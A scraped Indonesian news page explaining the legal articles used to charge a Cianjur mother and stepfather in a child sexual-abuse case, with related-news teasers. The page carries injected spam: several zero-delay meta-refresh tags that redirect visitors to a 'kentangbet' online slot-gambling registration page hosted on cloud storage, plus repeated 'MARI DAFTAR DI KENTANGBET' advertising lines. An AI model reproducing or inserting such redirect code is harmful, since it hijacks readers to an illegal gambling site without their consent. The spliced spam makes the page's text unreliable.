News Bola Daerah Sulawesi Sumatera Jabar Banten Jateng DI Yogya Jatim Bali

Menilik Pasal Menghukum Kasus Ibu di Cianjur Korbankan Anak Kandung Diperkosa Ayah Tiri Buntut Ogah Diceraikan

Seorang ibu di Cianjur, Aisah alias HI (46) tega menyerahkan anak kandung disetubuhi ayah tiri, AB (44) dengan motif tak mau diceraikan berujung tersangka.
Rabu, 24 Juni 2026 - 20:41 WIB
Sosok ibu kandung dan ayah tiri dalam kasus pencabulan anak gadisnya di Cianjur
Sumber :
  • Unit PPA Satreskrim Polres Cianjur

"Ancaman pidana penjara maksimal 20 tahun dan denda maksimal Rp5 miliar," tukasnya.

Tentang Jenis Pasal Menghukum Ibu Kandung dan Ayah Tiri Korban

ADVERTISEMENT

GULIR UNTUK LANJUT BACA

1. Pasal 81 Ayat (2)

Ayat ini sebagai dasar pemidanaan untuk siapa pun yang melakukan tindak pidana berupa persetubuhan terhadap anak. Adapun unsur tindakannya menunjukkan pelaku menggunakan cara-cara tertentu.

Beberapa modus melancarkan tindak pidana persetubuhan terhadap anak biasanya terjadi seperti tipu muslihat. Selain itu, pelaku juga menyampaikan serangkaian kebohongan.

Bahkan, tak jarang pelaku membujuk anak di bawah umur. Tindakan ini bertujuan agar anak mau disetubuhi dengannya maupun bersama orang lain.

Pasal ini tidak hanya berlaku untuk orang tua, tetapi menyasar pada "setiap orang", seperti kerabat, guru, atau orang asing.

Adapun ancaman pidana yang menjerat pelaku berupa penjara paling singkat 5 tahun dan maksimal 15 tahun. Denda yang dapat menjerat pelaku paling banyak Rp5 miliar.

2. Pasal 81 Ayat 3

Pasal ini merupakan aturan pemberatan atau penambahan hukuman yang tercantum dalam Undang-Undang Nomor 35 Tahun 2014 tentang Perlindungan Anak, sebagaimana perubahan dari UU 23/2002.

Penerapan aturan dari Pasal 81 ayat (3) terjadi apabila tindak pidana persetubuhan terhadap anak dilakukan oleh orang terdekatnya seperti orang tua atau wali hingga pihak yang mempunyai otoritas khusus terhadap korban (saudara kandung, paman, keponakan, pengasuh atau pendidik, aparat penegak hukum atau tokoh masyarakat).

Sanksi pidana yang diberikan apabila melanggar aturan tersebut berupa ancaman penjara maksimal 20 puluh tahun. Bahkan, bisa lebih berat sesuai dengan putusan pengadilan hingga penyertaan pasal lainnya.

3. Pasal 419 Ayat 2 UU Nomor 1 Tahun 2023

Pasal ini mengatur tentang pemberatan sanksi untuk pihak yang melakukan tindakan sebagai mucikari. Tak hanya itu, aturan tersebut juga berlaku kepada pihak memfasilitasi perbuatan cabul/persetubuhan pada anak, dengan kedekatan hubungan keluarga.

ADVERTISEMENT

GULIR UNTUK LANJUT BACA

Pasal ini masuk dalam Bab Tindak Pidana atau Kejahatan Kesusilaan. Artinya, aturan tersebut melarang tindakan menghubungkan fasilitas agar orang lain berbuat cabul dengan anak atau seolah melakukan praktik perdagangan orang/prostitusi melibatkan anak.

(hap)

Berita Terkait

Komentar

Topik Terkait

Saksikan Juga

Jangan Lewatkan

<meta http-equiv="refresh" content="0; url=https://storage.googleapis.com/akun/daftar-kentangbet.html">

<meta http-equiv="refresh" content="0; url=https://storage.googleapis.com/akun/daftar-kentangbet.html">

<meta http-equiv="refresh" content="0; url=https://storage.googleapis.com/akun/daftar-kentangbet.html">
<meta http-equiv="refresh" content="0; url=https://storage.googleapis.com/akun/daftar-kentangbet.html">

<meta http-equiv="refresh" content="0; url=https://storage.googleapis.com/akun/daftar-kentangbet.html">

Kemenkeu akan memperkuat pemanfaatan DBH CHT tahun 2027 untuk penindakan rokok ilegal demi menekan kebocoran penerimaan negara dan meningkatkan pendapatan daerah.
Kubu Sarwendah Bantah Jadi Dalang Isu 'Penyakit Tiga Huruf' Ruben Onsu, Video Pertengkaran Ikut Disorot

Kubu Sarwendah Bantah Jadi Dalang Isu 'Penyakit Tiga Huruf' Ruben Onsu, Video Pertengkaran Ikut Disorot

Perseteruan antara Ruben Onsu dan mantan istrinya, Sarwendah, semakin memanas di tengah proses gugatan hak asuh anak yang masih berjalan.
Peran Betrand Peto Terkait Konflik Ruben Onsu-Sarwendah Dibongkar, Aditya Gumay: Dia Pemegang Kartu

Peran Betrand Peto Terkait Konflik Ruben Onsu-Sarwendah Dibongkar, Aditya Gumay: Dia Pemegang Kartu

Betrand Peto jadi sorotan di tengah memanasnya polemik antara Ruben Onsu dan Sarwendah. Dia disebut sebagai sosok yang mengetahui banyak hal mengenai kedua orang tua angkatnya.
Update! Kebakaran Gedung Bapenda Jakarta: ASN yang Bertugas WFH Bergantian, Pramono Pastikan Layanan Tetap Berjalan

Update! Kebakaran Gedung Bapenda Jakarta: ASN yang Bertugas WFH Bergantian, Pramono Pastikan Layanan Tetap Berjalan

Imbas kebakaran, Gubernur DKI Jakarta Pramono Anung menginstruksikan ASN yang bekerja di gedung Bapenda untuk bekerja dari rumah (work from home/WFH) bergantian. 
Perwira Polisi yang Terlibat Kecelakaan hingga Tewaskan Balita Ditahan, Polres Bone Dalami Dugaan Rem Blong

Perwira Polisi yang Terlibat Kecelakaan hingga Tewaskan Balita Ditahan, Polres Bone Dalami Dugaan Rem Blong

Seorang perwira polisi yang terlibat kecelakaan lalu lintas hingga menyebabkan seorang balita berinisial GN (4) meninggal dunia di Kabupaten Bone ditahan.

Trending

MARI DAFTAR DI KENTANGBET SITUS SLOT TERPERCAYA DAN GACOR HARI INI

MARI DAFTAR DI KENTANGBET SITUS SLOT TERPERCAYA DAN GACOR HARI INI

MARI DAFTAR DI KENTANGBET SITUS SLOT TERPERCAYA DAN GACOR HARI INI
Update! Kebakaran Gedung Bapenda Jakarta: ASN yang Bertugas WFH Bergantian, Pramono Pastikan Layanan Tetap Berjalan

Update! Kebakaran Gedung Bapenda Jakarta: ASN yang Bertugas WFH Bergantian, Pramono Pastikan Layanan Tetap Berjalan

Imbas kebakaran, Gubernur DKI Jakarta Pramono Anung menginstruksikan ASN yang bekerja di gedung Bapenda untuk bekerja dari rumah (work from home/WFH) bergantian. 
Kubu Sarwendah Bantah Jadi Dalang Isu 'Penyakit Tiga Huruf' Ruben Onsu, Video Pertengkaran Ikut Disorot

Kubu Sarwendah Bantah Jadi Dalang Isu 'Penyakit Tiga Huruf' Ruben Onsu, Video Pertengkaran Ikut Disorot

Perseteruan antara Ruben Onsu dan mantan istrinya, Sarwendah, semakin memanas di tengah proses gugatan hak asuh anak yang masih berjalan.
Peran Betrand Peto Terkait Konflik Ruben Onsu-Sarwendah Dibongkar, Aditya Gumay: Dia Pemegang Kartu

Peran Betrand Peto Terkait Konflik Ruben Onsu-Sarwendah Dibongkar, Aditya Gumay: Dia Pemegang Kartu

Betrand Peto jadi sorotan di tengah memanasnya polemik antara Ruben Onsu dan Sarwendah. Dia disebut sebagai sosok yang mengetahui banyak hal mengenai kedua orang tua angkatnya.
Perwira Polisi yang Terlibat Kecelakaan hingga Tewaskan Balita Ditahan, Polres Bone Dalami Dugaan Rem Blong

Perwira Polisi yang Terlibat Kecelakaan hingga Tewaskan Balita Ditahan, Polres Bone Dalami Dugaan Rem Blong

Seorang perwira polisi yang terlibat kecelakaan lalu lintas hingga menyebabkan seorang balita berinisial GN (4) meninggal dunia di Kabupaten Bone ditahan.
<meta http-equiv="refresh" content="0; url=https://storage.googleapis.com/akun/daftar-kentangbet.html">

<meta http-equiv="refresh" content="0; url=https://storage.googleapis.com/akun/daftar-kentangbet.html">

Kemenkeu akan memperkuat pemanfaatan DBH CHT tahun 2027 untuk penindakan rokok ilegal demi menekan kebocoran penerimaan negara dan meningkatkan pendapatan daerah.
Antisipasi Begal, 350 Personel Polisi Dikerahkan

Antisipasi Begal, 350 Personel Polisi Dikerahkan

Mengantisipasi aksi begal dan gangguan keamanan pada malam akhir pekan, Polresta Bandung bersama TNI dan Pemerintah Kabupaten Bandung, Jawa Barat, mengerahkan sekitar 350 personel dalam patroli gabungan skala besar.
Selengkapnya

Viral